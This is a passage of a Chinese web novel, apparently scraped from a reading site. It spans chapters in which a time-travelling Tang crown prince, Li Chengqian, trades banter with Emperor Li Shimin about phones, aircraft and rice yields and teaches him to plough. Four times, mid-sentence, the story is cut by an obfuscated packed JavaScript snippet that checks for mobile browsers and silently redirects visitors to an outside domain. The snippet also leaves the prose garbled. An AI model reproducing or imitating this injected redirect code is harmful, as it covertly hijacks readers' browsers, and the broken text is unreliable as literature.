“为什么不愿意?”李世民笑盈盈的道:“收入天下豪绅巨贾资币于官中,国 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李世民很不理解,他道:“那个小吏和教书先生一个月才给几个子?那几个子,够干什么?” 李承乾道:“那几个子,臣可以坐飞机,飞上万米高空;臣还可以穿上潜水衣,到海底去看摸珊瑚,看鲸鱼海龟。再说了,臣也不指望那几个子过活,臣的祖父母,外公外婆还有舅舅每年给的红包,只要臣愿意,脚下五万万一千平方公里的土地,臣可以想去哪里就去哪里。陛下您搬座金山放东宫,臣是可以上天?还是能下海?还是可以去东非看动物大迁徙啊?” 李世民:…… “飞机?能飞上万米高空,我大唐要是有这样的神兵利器,打高句丽就能居高临下,直接往下丢火器炸。这群后人真是浪费,这样的好东西叫民众随意乘坐摆弄。” 李承乾:…… “您说的这个设想,后人已经替您试过了,那个是另一种飞机,叫战斗机,专门用于打仗,还有保证后勤辎重的运输机,臣说的飞机是供老百姓出行用的。” 李世民:…… 第126章 手机 拿到烟花以及烟花棒的制作方法,李世民带着兕子打道回府。 确定太子詹事的人选,皇帝当日就下了诏书到国舅府。 皇帝打消了易储之心之后,扶持太子的意思十分明确,从前试图亲近的太子却不怎么亲近,长孙无忌对此十分苦恼,这一道诏书下来,于他而言可是大喜。 李承乾继续他的字典编撰工作,李靖得了皇帝的命令,日日上门教授李承乾,长孙无忌陪着一起。 打拳的基本动作还是扎马步,李承乾很愁苦,却仍然坚持跟着练。 李世民要上朝,不能日日去射场看李承乾练武,李靖不好吐槽李承乾的武事,耳根子清净了一大截。 那日关于物欲话题以及飞机军用民用的发问,让李世民很受打击,自我缓和了一阵子,最后用后生可敬,后生可畏八个字安慰自己。 休沐的前一日,张阿难过来通知,休沐日李靖不上门,请太子准备一身粗布衣裳。 李承乾明白,皇帝要出宫,但明白的不完全,出宫可以为什么要穿粗布衣裳。 领导吩咐,照办就是。 翌日一大早,李承乾换上一身粗布衣裳,往甘露殿去拜见皇帝,却在显德门外看到早就等候在此的尉迟恭和尉迟宝琳父子。 尉迟恭来了,宫人不可能不通报,唯一的解释尉迟恭带着皇帝的口谕来的,不许宫人通报。 皇帝难缠,东宫又有皇帝的人,实力悬殊只能缩着,吩咐过宫人,天无二日,皇帝或者皇帝使者来了,那东宫的主子就是皇帝。 “这么大冷的天,鄂国公和小郎君来了,怎么在外头站着?”面子功夫要做一下的,李承乾扫了一眼宫人,道:“鄂国公说不通报,你们就真让人家在外面吹冷风?” 太子动怒呵斥,宫人们齐刷刷跪倒在地,尉迟恭忙上前解释道:“殿下不必动怒,这是陛下的意思,要臣与犬子前来候驾,不许惊动殿下。” 双方客套过后,一同到承天门外,李世民的马车停在此处,李承乾上前拜见。 李世民掀开帘子,道:“上车。” 张阿难扶着李承乾上车,皇帝也是一身粗布衣服。 李世民道:“再有一个多月春耕,帝王主持籍田礼,那个新犁铧,去岁春耕过后才推开,朕不会使,籍田礼总不能大臣看朕的笑话。” 明白了,皇帝要出去提前练。 “陛下,您出去练犁地为什么要带着臣?” 籍田礼帝王扶犁,太子牵牛,他就牵个牛,这需要练吗? 李世民深吸一口气,要不是李靖跟他说,李承乾心思敏感,让他多让李承乾出门转转,他才懒得带李承乾出门。 “你少说点话。” 李承乾默默闭嘴,不说就不说,他本来也懒得同皇帝说话。 “上元节宫宴你没来参加,众大臣都在调侃你,你知道吗?” 他朝都没上,有什么好调侃的? “调侃臣什么?” 李世民道:“他们都在说,太子再监国,他们会不会休沐日被拉到三省议政。” 李承乾哈哈一笑,这种占用人家休息日的缺德事,除非特别紧急,否则他才不干。 “臣觉得他们更应该担心,休沐日陛下找人围猎,或者赐宴。” 李世民笑道:“朕请人吃饭游玩,总好过你拉人上值。” 李承乾道:“陛下觉得臣像是爱出去瞎转悠的人吗?” “坐飞机上天,穿潜水衣下海,看东非动物大迁徙,去吐蕃,去塞外,去高句丽,这些都只是朕知道的,朕不知道的不知有多少,摸着你的良心说,你到底喜不喜欢出去玩儿?” 李承乾默默叹气,时代不一样了,唐初的长安就一土城,亲王的豪宅也是由夯土堆砌而成的简单房屋,还没有明清地主老财的豪宅上档次,那个豪只是相对于普通百姓。 一座土城,不下雨灰尘满天,一下雨泥巴一腿。有啥好逛的?出去吃灰吗? “有时间,臣给您画一幅一千多年后的长安,您老人家就明白了。” 李世民道:“你不是没踏足过长安吗?” 李承乾道:“手机刷视频或者新闻,见过千百年后的长安。” “手机又是什么东西?” 李承乾叹道:“一种电子产品,通过手机,可以搜索国内外大事件,足不出户也能看到**之外的人或事。” “当真如此神奇?” 李承乾道:“还好臣对手机依赖性不强,不然的话,刚回来那阵子,不知道要有多难熬。” “足不出户就能看到千里之外的人或事,这么厉害的东西,好在你有点出息,做了个小吏,不然的话估计都没机会用。” 李承乾:…… 要不要告诉皇帝,手机在未来的普及程度?会不会太伤皇帝了? “那个小吏要是有朕的地位,你用的手机估计更厉害。” 李承乾:…… 贬损老高,自找的,别怪他了! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442549|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下,手机在未来人手一部,档次无关身份。” 李世民:…… “这些犁铧,是未来用的?” 李承乾道:“未来也不用这玩意儿,用的都是耕地机,大型耕地机一天百十亩地那都是小意思,微型的一天好几亩也不成问题。” 李世民:…… “行了,你可以闭嘴了,别说了!” 李承乾暗暗吐槽,皇帝先跟他说的话,他不回答不行,回答了又要他闭嘴。 “辅机做了你的太子詹事,你也要去国舅府走动一二,朕还是那句话,你尚未成气候之前,不要轻易树敌,你这个臭脾气,也就朕能纵容你。” 李承乾道:“谢陛下教诲,臣改日上门去拜见。” “丽质和冲儿成婚多年,始终没个孩子,到底不是个法子。承乾,你经历过后世,可有法子让他们尽快有个孩子。” 李承乾叹气,长乐过早的逝世,就跟怀孕产子有关,这俩又是近亲,但凡他早回来几年,一定想办法搅黄这桩婚事。 “丽质的气疾很严重,她的身体不适合生育,强行生育会危及她的性命,这不是调理能缓解的。还有兕子,她不但有气疾,还可能有风疾,更要小心呵护着。” 李世民道:“朕知道,你一回来就盯着兕子的吃食,连她的乳母吃得东西,你都让人盯着。每到冬春交替,或者夏秋交替,你总会抽时间把兕子带到立政殿,想必就是查她的病情吧?朕问过兕子,小丫头嘴巴严得很,不过朕能猜得出来。” 他干那些事情时,母亲尚且在世,他一直以为他在立政殿办事畅通无阻,是母亲的缘故。 李承乾后知后觉,后来兕子住进甘露殿,他还能找旧人约兕子到立政殿,绝对是皇帝放水了。 “所以,陛下一开始怀疑臣了吧?” 李世民道:“朕一开始只是召了御医查你给兕子安排的吃食是否有异,发现没有问题且御医说兕子比从前更加康健,朕只当你是关爱幼妹。至于你回来的事情,朕只有感觉,你是承乾,又不完全是承乾。后来总是梦到一些过往,以及你的反常,这才起了疑心。你说你轮回了这么多世,怎么就学不会做戏呢?朕都不想说你,在朕面前戏做的太差了。” 李承乾:…… “做戏和武事,臣真的是一点天分都没有。您要是喜欢看做戏,要么上朝,要么召见青雀和雉奴。喜欢看武事,召三郎回京,或者培养八郎,他俩在武事上有天分。” 李世民:…… 第127章 斗嘴 尉迟恭和尉迟宝琳骑马,距离车驾大概十步左右随行,老父亲在隔壁,如芒在背的感觉十分强烈,想逃离又迫于皇帝口诏让他随行不敢抗命。 “主君从前出行,也是坐车吗?” 尉迟宝琳发出疑问,直觉告诉他,比起乘车,天策上将肯定更愿意骑马。 尉迟恭白了儿子一眼,只长个子,不长脑子的笨蛋。往常皇帝出门肯定骑马,可今天带着太子出门,太子不喜欢骑马出行。 “少主随行,自然是乘车。” 尉迟宝琳道:“父亲是少主护卫,少主出行您随行那是应该,我只是崇贤馆生员,我为什么要随行?您给主君说一下,我要回去帮着编字典。” 尉迟恭恨不能撬开尉迟宝琳的脑袋,往里面装一点脑子,他觉得他愚笨,结果他这个儿子更没脑子。 皇帝任命他为东宫右屯卫中郎将,看重的是他的忠诚,尉迟宝琳心思简单,皇帝要尉迟宝琳做第二个他,同他忠心皇帝那样忠于太子。 “老子出门,你能在崇贤馆待的住?” 尉迟宝琳笑的眉飞色舞,冲着尉迟恭说:“待的住,字典是要署我名的,我哪怕就是搬书,也有劲儿搬。” 尉迟恭道:“你?字能认全吗?丢什么人?” 尉迟宝琳做了鬼脸,道:“尉迟老头,小爷我告诉你,你说了不算,太子说了算。太子说了,所有参与编撰的人,无论贡献大小,全部署名。” 尉迟恭气的咬牙切齿,随手一鞭子就冲尉迟宝琳去了,尉迟宝琳眼疾手快躲开了,驱马同老父亲拉开距离。 “人家卫国公就不逼迫李德謇,你就不能学点儿好的?你说你年轻的时候家里穷念不起书,现在呢?鄂国公,书房堆满了书,你又学进去几个字?全都给虫吃……哎呦……” 尉迟宝琳的惨叫惊动了车内的人,李世民掀开帘子去看,只见尉迟恭横眉怒目,尉迟宝琳鼓嘟嘟一张脸,满满都是委屈。 “敬德,这是怎么了?” 皇帝问话,尉迟恭指着尉迟宝琳骂道:“这个逆子,不学好,还一堆歪理,我气不过给了他一鞭子。” 尉迟宝琳挨了打,嘴巴依旧硬,驱马上前,向皇帝拱手:“主君,少主,您二位评评理?父亲他自己这把年纪都念不来书,我是他的儿子,随了根念不了书,是不是很合理?” 李世民:…… “照宝琳这么说,你家少主就该挨打了。朕这一身拳脚功夫,你家少主也学不来一点。” 尉迟宝琳听说皇帝要打李承乾,急忙解释:“陛下,话不能这么说,少主不会拳脚功夫,会写文章,会编字典,会算术,还会做火器。” 李世民笑而不语,又听尉迟敬德说:“斗嘴尤其厉害,杜荷那个狗……咳咳……人,一张嘴巴抹了毒一样,照样被殿下收拾的服服帖帖的。您都不知道,殿下坐镇崇贤馆,杜荷话都少一半。” 李世民笑容僵了僵,李承乾跟他斗嘴也挺厉害的。 “我就奇了怪了,克明叔叔我也是见过的,他老人家那叫一个儒雅,怎么生了杜荷这个碎嘴?” 又是杜荷,李世民看了眼李承乾,又看向尉迟宝琳,说话语气严肃几分:“你父亲是为你好,身为人子,就算学不会也不该对他如此无礼。” 尉迟恭借机插话:“少主,我求您一件事,这个大字不识一筐的东西,字典不给他署名。他帮什么忙了?找个书还嘚瑟的不行,一个字的忙都没帮上,还在这里欺世盗名,说出去我都不好意思出门。” 李承乾正要开口,就听尉迟宝琳道:“天呐!尉迟老头,你能说出欺世盗名来,真是太难得了。” 尉迟恭道:“这成语不是跟你学的吗?连意思都是你解释给老子听得。” 李世民&李承乾&张阿难:…… 尉迟宝琳恍然大悟:“上次跟杜荷斗嘴,他跟我说得。” 李世民放下帘子,不理会这对父子斗嘴,抬头看李承乾双眸温柔,不似平日冷淡。 “怎么了?看人家父子斗嘴这么开心?” 李承乾道:“臣只是想到了我爸,闲暇时光我们也会同庄周和惠施那样,揪着一个学术问题,你一言我一语,臣轮回记忆长存,通古文喜欢引经据典,我爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444763|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学攻读马列哲学,他喜欢以马列哲学驳斥,争到最后谁也不服谁。臣就假装跟他闹脾气,喊他老高或者高老头,让他来哄臣。方才听尉迟宝琳喊鄂国公尉迟老头,想到了从前臣喊高老头的时候了。” 李世民道:“胆大妄为,朕就想知道那个小吏是怎么揍你的。” 过往的记忆如走马灯般涌上来,李承乾笑的眉眼弯弯:“我爸才不会这些事情打臣。” “那个小吏,真是把你宠的无法无天。” 李承乾当即反驳:“什么叫宠的臣无法无天,臣来时的时代,稍微开明些的家长,都不介意儿女开这种玩笑。我爸性格特别好,就是打臣那一次,他都没有疾言厉色的呵斥。臣做了他们二十八年儿子,不管外面受了多大的气和委屈,他和我妈从来不在臣面前撒气,只要回家永远都是儒雅温和。” “怪不得,你在朕面前造次,同大臣们政见不合,回了东宫看到太子妃和李象,身上戾气尽消,端的儒雅温润如玉一般。” 那一次去东宫,苏氏和李象在宜春苑玩闹,李承乾坐在亭子下品茶,默默注视妻儿,那不属于这个时代的气度,他一度怀疑过像父亲或者李建成,后来又相继推翻设想。现在看来,李承乾像那后世那个小吏。 “爸妈自臣记事就教导,一个有责任,有担当的人,要学会消化自己的情绪,有心事可以向家人倾诉,但不能把外面受得火气撒到家人身上,不要让家人担心,更不要伤了家人的心。耳濡目染二十八年,臣也学了个皮**。” 李世民听得心梗,道:“那你诛心之言一句接着一句,不怕伤了朕的心?” 又来道德**,李承乾当即怼了回去:“我爸可没咒我**,他只盼着我长命百岁。我爸就是有两个儿子,就算偏爱小的,也不会糟践我。我就是瘸了,我爸只会心疼我,不会嫌弃我,厌恶我。” 李世民又一次心痛的沉默了,半晌,他才慢悠悠道:“你要是喜欢,私下没人的时候你也可以叫朕老李,或者李老头。” 李承乾虎躯一震,不可思议看着皇帝。 “臣胆小,您别吓臣。” 第128章 犁地 马车突然停下,李承乾以为是到达目的地,帘子掀开一看,迎面暴击。 长孙无忌和房玄龄,皇帝似乎干什么都喜欢带着这两个人。李承乾默默在想:还好杜克明死的早,不然的话,休息日也得被拉来上班。 二人上前拜见,李世民微微抬手示意免礼。 李承乾受了礼过后,下车以晚辈之礼拜过长孙无忌,又与房玄龄见礼。 “舅父,房伯伯,大冷的天你们出城这么早吗?” 长孙无忌无所谓,作为太子詹事他需要去东宫打卡,但李承乾告假,不需要处理政务,他去了东宫也是玩儿。 “整日赋闲,出来逛逛也好。” 房玄龄有苦说不出,三省长官以他为尊,要处理的庶务多如牛毛,休沐日还不能睡个囫囵觉,被皇帝拉出来陪着练犁地。 “整日窝在院子里,出来活动一下正好。” 客套完了,李承乾转身上了马车,继续往目的地去。 李世民做皇帝前是秦王,在京中有良田千顷,练习所选的土地就在西郊秦王曾经的封邑,如今作为皇帝的私产。 北方旱地以黄牛为主,李承乾一下车就向牛儿奔过去,撸了两把牛儿额头。 “老朋友,又见面了。” 牛儿被撸的很是舒服,哞哞叫了两声。 “这小子,他似乎很喜欢摸长毛的动物,去李靖府上摸寅将军,之前还摸过狼,现在摸牛头。” 长孙无忌看着李承乾,面上带笑:“承乾这个性子,我还以为变了,结果是一点都没变。” 李世民道:“他怎么没变?” 长孙无忌笑道:“承乾小的时候天不怕,地不怕,跟息隐王和海陵刺王家的孩子打架。此事被告到了高祖那里,高祖斥责主君,承乾被主君收拾了几次,这才收敛了些许,不过那张嘴巴依旧毒辣。有一次天策府设宴,宴席过半,我到后院透气,撞见他和息隐王及海陵刺王的孩子们斗嘴,那时他就是现在的样子。明媚张扬,自信又骄傲。” 李世民心传来一阵闷疼,看向撸牛的李承乾:“我早年多在外征战,同他相处不多,他也不怎么亲近朕。” 长孙无忌道:“承乾嘴上不说,心里很崇拜主君的,我记得有一次,他和李承道等几个孩子吵架,李承道说他父亲是太子,秦王只是一介臣子。承乾当即就回了李承道一句:说得太子天家臣子,你不是臣子一样?都是臣子,我家阿耶一战擒两王,一百人吓退三万雄兵,你家的那臣子行吗?” 不说还罢了,一说李世民心里很不爽,他的孩子本来就很好,那个小吏不过养了一世,却直接让李承乾跟他单方面断绝父子关系了。 “玩儿够了吗?我今天出来可不是玩儿的。” 李承乾摸摸缩回爪子,皇帝喜欢养鸟,他追求手感,喜欢猫狗一类的动物。 长孙无忌很不解,他做了太子詹事,同东宫绑到一起,提起过往本是帮着缓和父子关系,照理说李世民知道儿子崇拜自己应该开心才是,怎么适得其反了? 犁是一早就套好的,李承乾很不解,犁地的就皇帝一个人,为什么拉一堆人过来挨冻? 李世民之前用直辕犁,骤然用新犁还没把控好力度,地犁的并不如意。 “李承乾,这个犁一点都不好用。” 李承乾牵牛走在前面,猛的被这么一叫回神过来,唐朝到二十世纪**十年代,一千多年演变,犁铧差异还是挺大的。 对于以耕耘为生的农民而言,好用的农具很容易上手,可皇帝不是农民,是这个时代最大的地主,皇帝种地纯属**作秀。 “主君刚开始用,不熟悉而已,我演示一遍。” 李承乾快步上前,接过皇帝手上的犁,李世民上前牵牛,被李承乾赶开了,正经农民犁地谁要人牵牛。 “这犁在他手里怎么那么听话?就像弓箭在朕手里一样听话。” 长孙无忌等人也是一头雾水,皇家金尊玉贵养出来的太子,喜欢种菜已经很离谱了,犁地上手就会,实在是太过匪夷所思。 李承乾犁了一圈回来,出了一头的汗,拉了缰绳牛儿停下,他上前拜过皇帝:“主君,您可以继续试试。” “少主,你以前经常耕地吗?” 来自于尉迟宝琳的疑惑,准确的说来自于李世民以外在场所有人的疑惑,李承乾想找根线把这货嘴巴缝起来。 “荒唐一梦,你说我常耕地,梦中耕地也算耕地。” 房玄龄感慨:“梦中得此机缘,少主是有大造化的人。” 李承乾含笑谢过房玄龄的赞誉,以农为本的时代,他这个“梦”的确算是大机缘。 “这里有我和承乾就行了,你们几个该干嘛干嘛去。” 李世民重新扶犁,李承乾上前手把手告诉李世民动作要领。 四下无人,李世民忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444764|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住问:“你做了不止一世庶民吧?” 李承乾点点头默认,没有说话。 李世民又继续说:“很辛苦吧?” 李承乾重新牵了牛,笑着道:“谁不辛苦,大家不都是辛苦的活着吗?” “听辅机说,你小时候常同建成和元吉家的孩子斗嘴,还同人家打架。” 皇帝思想跳脱,李承乾一直都知道,他急忙回答:“这些事陛下不都知道吗?” “那个时候为父打你,你是不是很委屈?” 从旁人嘴巴里听到父亲的英勇事迹,眼巴巴等着父亲回家,然后父亲回家先给他一顿打,当然委屈,一段很不好的回忆。 “那个时候为父功高震主,高祖有意敲打,为了你的事情,为父吃了高祖不少排头,那时同李建成和李元吉斗得厉害,没空闲教导你,就打了你几次,不是讨厌你,就是想着你收敛些,别整天给为父惹是生非。” 李承乾回忆起过往,道:“大人不和,小孩子耳濡目染,息隐王家的孩子最多炫耀息隐王是太子,海陵刺王没品,他家的孩子也被教坏了,张口就是你阿耶不要你了,野孩子,臣那时没什么城府,给陛下惹了不少的麻烦,臣很抱歉。” 李世民紧了紧拳头,良久发出一声长叹:“你怎么没告诉为父为什么跟人打架?你要是说了,为父不会打你的。” 李承乾都不想吐槽,一进门直接先喝令跪下,劈头盖脸一顿骂,从来都不给他解释的机会,他张嘴说不到一句话,皇帝立马就是一句还敢狡辩顶嘴,他还敢说吗? “都已经过去了,陛下何必再提?” 李世民摇头,无奈苦笑:“你从小就是个闷葫芦,有什么从来不愿意同为父说,你若能早些敞开心扉,你我父子何至于走到那个地步?” 休息日陪领导团建已经很痛苦,还要遭受精神攻击,李承乾不说话,单方面屏蔽皇帝。 “养活四万万人,后世一亩地能产多少斤粮食才能养得起?” 李承乾思索片刻,回忆起老高定的报纸。 “不是四万万人,是养活十四万万人。国家官方数据统计,小麦有亩产一千三百斤,折合成贞观年间的计量也就四百多斤。稻谷比较厉害,有亩产三千斤的,折合贞观年间计量是一千八百七十五斤。” 李世民:…… “承乾,你认真的?” 李承乾点头,特别认真! 第129章 狐狸 “后世,竟有如此厉害的稻子。” 李承乾迎上皇帝的目光,已经猜到皇帝想说什么,他马上开口:“别看臣,臣那点儿浅薄的生物学知识,弄不来亩产六千多斤的稻子。” 李世民眼底的光渐渐暗淡,忍不住道:“学数学有什么用?生物学才是真的造福国家。” “生物学属于自然科学,臣毫不夸张的告诉陛下,所有自然科学的基础都是数学。只有学好数学,才有接触生物学的资格。” 李世民道:“你都来了大唐,你那一身生物学知识,哪怕是浅薄,也是后人总结数千年前人经验得来的,也都是远超这个时代。太子殿下享天下之养,就不思报答一二?” 听皇帝这么说,李承乾倒是想起了生物学上最简单的杂交事例,孟德尔豌豆实验。 “安南都护府有一种稻子,产量比大唐境内的水稻要高的多,陛下可以下诏寻来,臣拿安南的稻子和大唐本地的稻子杂交一把试试结果。” 李世民听罢大喜,也学着李承乾的口吻调侃:“太子吩咐,世民照办。” 李承乾:…… “您可真是不怕臣折寿。” 李世民笑道:“叫了那个小吏那么多年老高,你不也活得好好儿的?那会子不怕折寿?” 李承乾不想说话,一个封建帝王能和他的高爸爸比吗? “臣不是学生物的,可不保证一定成功。” 李世民看了一眼李承乾,道:“你不是说安南的稻子产量比大唐本土的稻子产量高吗?就算失败了,那又如何?安南的稻子不能在大唐种?” 李承乾顿了一顿,真是这个道理。 “有这等好东西,还是朕能找到的,你怎么不早说?” 李承乾苦笑,“自臣决定好好待在这里,做一个太子,上朝或者回东宫,都有一堆的事情要做,根本想不到啊!” 犁了两圈,李世民已经基本上手,也就没有继续练下去的欲望了。 “走,去庄子上沐浴更衣,朕带你出去玩儿。” 也不等李承乾答应,李世民径直往前走,李承乾紧随其后。 庄子上设了宴,众人依着次序落座,李世民举杯敬酒,“难得出来一趟,就咱们几个人,别拘束了。” 房玄龄笑着说:“臣等跟随陛下多年,没什么拘束的,倒是太子殿下和尉迟贤侄甚少出来,又有大家长坐镇,怕是拘束的很。” “去岁八月初,看守庄子的部曲山里头捡了只毛茸茸的小崽子,是一只狐狸,养了也有数月,十分讨喜,用过膳咱们一起去看看。” 李世民下意识去看李承乾,果然见李承乾双眸发亮。 长孙无忌和房玄龄对视一眼,笑而不语,皇帝瞎话张口就来,真有那么一只狐狸,去岁秋猎早就拉着人来看了,也不知道哪只倒霉狐狸被临时拉来陪皇帝演戏。 李承乾心痒难耐,只等着饭局结束撸狐狸。 用过膳,侍从引着众人到后院,尚未近前,就见笼子里的狐狸不停的呲牙,浑身毛发根根竖立。 李承乾皱眉:“你们经常打它吗?” 引路的扈从忙喊冤枉,向太子回话:“主君让养的狐狸,小的哪里敢打?” 李承乾道:“狐狸产子在三到五月,八月初捡到的还是毛茸茸的崽子,说明狐狸尚未满百日。从小养到大的狐狸,野性不会这么强。要么就是没好好养,它在成长过程中不停的受到外来威胁,时刻高度戒备,野性才会这么强。” “少主,你养过狐狸吗?” 李承乾默默在心里丢过去一个白眼,不说话没人拿你当哑巴。 “我没养过,听养过的人说的。” 房玄龄忙上来打圆场:“兴许是这畜生生来野性难驯,怎么都养不熟。” “也有可能!” 李承乾上前,仔细又观察了一遍,摇摇头道:“不太像是从小养大的,像是临时抓来的。” 李世民:…… 尉迟宝琳凑上去,看了好几遍,不知道太子怎么看出来,遂问:“少主,你怎么看出来的?” 李承乾笑道:“你看这只狐狸,双目如炬,精灵敏锐,自家从小养到大的狐狸,眼睛是一种迷离的清澈,略带着几分媚态。” “少主你好懂,说你没养过狐狸,我都不信。” 李承乾:…… 没养过,撸是真的撸过,而且没少撸。 眼看要露馅儿了,李世民赶紧使眼色给长孙无忌,三言两语忽悠着李承乾离开。 “上次出来你要去长安街买东西,都没带钱,今天朕带了钱,去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448281|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长安街逛逛吧!” 李承乾道:“臣出来也带了钱,也准备回程挑些小玩意儿带给太子妃和象儿。” 李世民默默松了口气,还好李承乾没继续追问狐狸的事情。 众人出了庄子,李世民和李承乾仍旧乘车,长孙无忌、房玄龄、尉迟恭、尉迟宝琳、张阿难五人驾马随行。 房玄龄对长孙无忌说:“难得看主君这么下功夫哄孩子,不过咱们少主似乎是没反应过来。” 长孙无忌不好说得,李世民没少召他进宫讨论关于李承乾的事情,他可以肯定,李承乾对李世民一点儿信任都没有,当然意识不到皇帝在下功夫哄自己。 尉迟恭一拍脑袋,恍然大悟,那只狐狸是皇帝临时抓来的,因为太子喜欢毛茸茸的动物,结果狐狸不配合皇帝演戏。 尉迟宝琳一头雾水,不太明白几个老爷子在说什么。 “承乾一心只扑在正事上,不怎么上心这些儿女情长。” 尉迟宝琳**来一句:“我看少主很重情意的,不重情意的人,不会那么上心皇长孙。” 长孙无忌、房玄龄、张阿难三人集体给了一个白眼给尉迟宝琳,尉迟恭一巴掌抡到儿子脑袋上。 “多听,少说话!” 尉迟宝琳愤愤看向老父亲,尉迟恭直接扬起鞭子威胁,成功压下了叛逆的儿子。 马车内,李世民问出心中疑惑:“承乾,你养过狐狸吗?” “臣的老舅养过三只,两只赤狐,一只北极狐,光饲养许可证都办了三个多月。狐狸怕热,他老舅还专门辟出一个房间,营造了一个微型小生态,一年四季恒温十五到二十度,大概就是长安三月份的天气。臣没养过狐狸,但狐狸真的没少抱,也没少摸。” 李世民沉默良久,开口说:“你为什么不自己养?” 李承乾回答皇帝:“老舅一向疼我,他养的狐狸臣随时上门玩儿,有那个必要再花钱养吗?再说了,那三只狐狸一年消耗二十好几万,都快赶上老舅每年给臣包的红包了。不瞒陛下,臣来的当年,其实已经设计了阿尔卑斯七日游,准备国庆出去玩儿。结果一场意外,把臣送回来了。” 李世民:…… “感情你回来,朕让你受了多大委屈一样。” 李承乾:…… 第130章 君无戏言不可靠 享受过现代社会的高科技,一夜回到封建社会,时空拐卖也是犯罪,何况还要整天面对一个把自己逼疯过的皇帝爹,他很委屈。 马车行驶到闹市,李承乾出声叫停,走进一家贩卖文房四宝的商铺。 “店家,我来取上次定制的那套镇文房用品。” 伙计拿来盒子,李承乾看罢,吩咐吴顺付了尾款四万钱,抱着盒子上了马车。 李世民瞥了那盒子一眼,十分好奇里面是什么东西:“给象儿的还是给太子妃的?” 李承乾打开盒子,映入眼帘是一套笔墨砚,每一样上雕刻着十分精美的玉兔弄月纹饰。 “别人家父亲在孩子入学就会赠文房所用之物,象儿入学时,臣只是随手从库房掏了一套送给他,都没有用心准备。” 李世民取了一柄镇尺,淡淡看了一眼:“上等的红木,想必价值不菲。” 李承乾顿了一顿,要了镇尺放回盒子里,“四万五千钱,臣存了大半年呢!” 李世民点点头:“物有所值。” “陛下从前会送母亲些什么东西?” 知道李承乾想送苏氏礼物,李世民思量片刻过后:“要不,你给她画一幅画像?” “这么简单吗?那就好办多了。” “一千多年,你就没有遇到让自己怦然心动的姑娘?” 李承乾摇摇头,他是个孤寡的命格,让他怦然心动的女子,自始至终都不曾遇到过。 “各县送上来的预算朕让人录了一份在吏部,你看你什么时候有时间,去看一眼。” 李承乾摇摇头,道:“标准给下去了,结果如何就是他们的事情了,臣只看结果。年底决算出来,臣直接找人算绩效,再同预算、决算放在一起比对,什么都清楚了。” “绩效?”李世民不解,遂问李承乾:“什么是绩效?” “于朝廷而言,绩效就是指自身或社会其他组织通过多种方式对朝廷的决策和管理行为所产生的**、经济、文化、环境等短期和长远的影响和效果进行分析、比较、评价和测量。” 李世民直接抬手打断李承乾的话:“朕与后世相隔千年,你那些词汇朕听得云里雾里,简而言之。” 李承乾思索片刻,向皇帝解释:“有限的银钱,地方官员能否完成朝廷下发的任务。有限的时间内,地方官员可以为当地做出多大的贡献。” “这不就简单多了,衡量绩效的标准朕不想知道,你到时候直接挑一个县算出一个绩效标准,余下的丢给吏部和民部去干。” 李承乾点点头,他也是这么想的。 “象儿喜欢数学,你完全可以把你脑袋里跟自然科学有关的东西全部教授给他,你的两个孩儿,一个成为未来的大唐皇帝,延续大唐的辉煌,一个用他在自然科学上的天分,为大唐的繁荣做出贡献。” 李承乾叹气,家天下的格局,他试探着问皇帝:“陛下,有没有想过,臣学的这些东西,可以写下来,传之后人,天下人都可以学。” 李世民道:“你可以学那么多东西,后世对高科技是应该放开的,只能说明一件事情,后世的朝廷有能力,把控高科技,让技术只为拱卫朝廷而存在,不会成为动摇朝廷根基的隐患。 可是承乾,这是大唐不目前具备的能力。朕以火器举例,火器没有握在朝廷手里,就会不可控。天外有天,民间一但有人造出更厉害的火器,为有心人利用,必然会动摇统治的根基。” 李承乾心下一惊,皇帝看事情就是一针见血。现代社会真正高科技尖端技术要发挥作用,必须要国家提供必要的条件,也只有国家能提供相应的条件。 